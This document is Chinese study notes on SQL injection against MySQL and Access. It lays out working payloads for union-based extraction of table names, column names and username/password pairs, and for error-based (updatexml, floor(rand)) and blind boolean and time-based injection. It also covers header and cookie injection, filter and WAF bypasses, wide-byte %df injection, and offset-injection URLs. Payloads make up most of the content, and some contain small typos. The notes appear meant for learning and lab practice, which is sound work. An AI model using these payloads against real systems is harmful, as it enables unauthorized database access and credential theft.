SQL注入
原理
- 用户可以构造特殊的输入来拼接到程序中执行,从而使得程序依据用户输入执行有可能存在恶意行为的代码。
MySQL数据库常用聚合函数
- user()
- database()
- version()
- updatexml(xml_document, xpath_string, new_value) (XML文档对象,XPath路径,替换数据)
- extractvalue()
- preg_replace(mixed $pattern , mixed $replacement , mixed $subject) (搜索模式,替换,源)
- limit m, n
MySQL注释符
- #
- –空格 或 --+
- /* */
- /*! SQL语句 */ (内联注释,只有MySQL可以识别,常用来绕过WAF)
SQL注入分类
- 根据位置分为两类:字符型、数字型
基于报错的SQL注入
- 利用order by判断字段数
- select * from user order by 3
- 注:以第三列作为排序
- 利用union select联合查询,获取表名
- select * from user where id=‘0’’ union select 1, group_concat(table_name), 3 from information_scehma,table where table_schema=database() --+
- 注:利用最前select报错,union后的查询做并集,查询所需数据
- 利用union select联合查询,获取字段名
- select * from user where id=‘0’’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
- 利用union select联合查询,获取字段值
- select * from user where id=‘0’’ union select 1,group_concat(username,0x3a,password),3 from users–+
不再显示结果的盲注
- 盲注:向数据库发送true或false,根据应用程序返回的信息判断结果。
- 分类:布尔型、时间型
GET基于时间的盲注
- if( ascii( substr( database(), 1, 1 )=115, 1, sleep(3) ) ):当数据库名第一个字母的ascii等于115时,执行一次sleep(3)
GET基于布尔的盲注
-
select length( databse() );
-
select substr( databse(), 1, 1 );
-
select ascii( substr( database(), 1, 1));
-
select ascii( substr( database() , 1, 1) ) > N;
-
select ascii( substr( database(), 1, 1) ) = N;
-
select ascii( substr( database(), 1, 1) ) < N;
POST基于错误的注入
- 抓包
- 通过报错,探查单、双引号包围
GET报错注入
-
报错注入:两个嵌套的查询:select … (select …),先执行内层,再执行外层
-
rand():随机函数,返回0~1之间的某个值
-
floor(a):取整函数,返回小于a最大的整数
-
count():聚合函数、计数函数,返回查询对象的总数
-
group by:分组,按照查询结果分组
-
eg1:select count(*) from table group by floor(rand(0)*2);
-
eg2:获取数据库名
select * from user where id='0'
union
select 1,2,3 from (
select count(\*),
concat( (select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),
floor( rand(0) \* 2 ) ) x
from information_schema.tables
group by x
)a --+
SQL注入绕过技术
- 大小写绕过
- 双写绕过
- 编码绕过(URL编码)
- 内联注释绕过(/*! */)
POST基于时间和布尔的盲注
- 时间:在注入点参数后加:and if ( length(database())>5, sleep(5), null )
- 布尔:
- select length(databse());
- select substr(databse(),1,1);
- select ascii(substr(database(),1,1));
- select ascii(substr(database(),1,1)) > N;
- select ascii(substr(database(),1,1)) = N;
- select ascii(substr(database(),1,1)) < N;
HTTP头部中的SQL注入
- User-Agent注入:“INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ($uagent, $IP, $uname)”
- Referer注入:’ or (length(database())) >8 or if(1=1, sleep(5), null) or ‘1’ = '1
Update语句注入
- UPDATEtable_name SET field1=new-value1, field2=new-value2 [ WHERE clause ]
- uname=admin&passwd=admin’ or updatexml(1, concat(0x73, version(), 0x7e), 1) #&submit=Submit
Cookie注入
- 代码中使用Cookie传递参数,但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
- 抓包后,修改cookie
Base64编码注入
- Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
- 将原始内容转换为二进制,从左到右依次取6位,然后在最高位补两位0,形成新的内容。
- 编码规则:
- 把3个字符变成4个字符;
- 每76个字符加一个换行符;
- 最后的结束符也要处理;
- 使用Base64加密的注入语句,插入到Cookie对应的位置完成SQL注入漏洞的探测。
- eg:IiBvciAxPTEgIw== 明文 " or 1=1 #
绕过去除注释符的SQL注入
- 对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
- 如果注释符被过滤,不能成功闭合单引号等,则用 ` or ‘1’='1` 闭合单引号等。
绕过剔除and和or的SQL
- 基础知识
- MySQL中大小写不敏感
- MySQL中的十六进制与URL编码
- 符号和关键字替换:and – &&、or – ||
- 内联指示与多行注释 /*! 内敛注释 */ /* 多行注释 */
- 使用preg_replace(mixed $pattern , mixed $replacement , mixed $subject),执行一个正则表达式的搜索和替换
- 绕过:
- 大小写变形
- 敏感词汇中添加注释,eg:a/**/nd
- 双写绕过,eg:oorr
- 利用符号替换:and <=> &&、or<=>||
绕过剔除空格的SQL注入
- MySQL中会自动识别URL和Hex编码好的内容
- 常见:%0a:换行、%09:TAB键(水平)、%0c:新的一页、%0d:return、%0b:TAb键(垂直)
绕过剔除黑名单(union和select)的SQL注入
- 大小写混淆、双写绕过
宽字节SQL注入
-
宽字节:GBK占用两字节、ASCII占用一字节
-
PHP中编码为GBK,函数执行添加的是ASCII编码,MySQL默认字符集是GBK等宽字节字符集
-
%DF’ :会被PHP当中的addslashes函数转义为“%DF\’” ,“\”既URL里的“%5C”,那么也就是说,“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”
-
代码分析:
- id=%df’ --+
- 最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,
- 比如ascii码为129的就可以,但是我们怎么将他转换为URL编码呢,其实很简单,我们先将129(十进制)转换为十六进制,为0x81,然后在十六进制前面加%即可,即为%81
- GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F)
二次注入
- 流程:
- 注册用户admin – 。
- 修改密码,查看数据库内容。
- 危害:
- 触发二次SQL注入
- 触发XSS攻击
Access数据库
-
Access只用表的概念
-
偏移注入利用:
-
借用数据库的自连接查询,让数据库内部发生乱序,从而便宜出所需要的字段在页面上显示。
-
场景:知道Access中,知道表名,但不知道字段的SQL注入困境,字段名取名复杂。暴力破解字段名不成功
-
流程:
- 判断字段数:order by
- 判断表名:使用union select * from表名来获取
- 开始偏移注入,利用注入公式
-
公式:order by 出的字段数 减去 *号的字段数,然后载用order by的字段数 减去 2倍刚才导出的答案
eg:18 - 11 = 7,18 - 7 * 2 = 4
-
eg:
-
http://xxx.com/test.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)
-
这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
后面的是SQL,可作公式。
-
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*+from+admin
22-16 = 6 22-6*2 = 10
http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)
-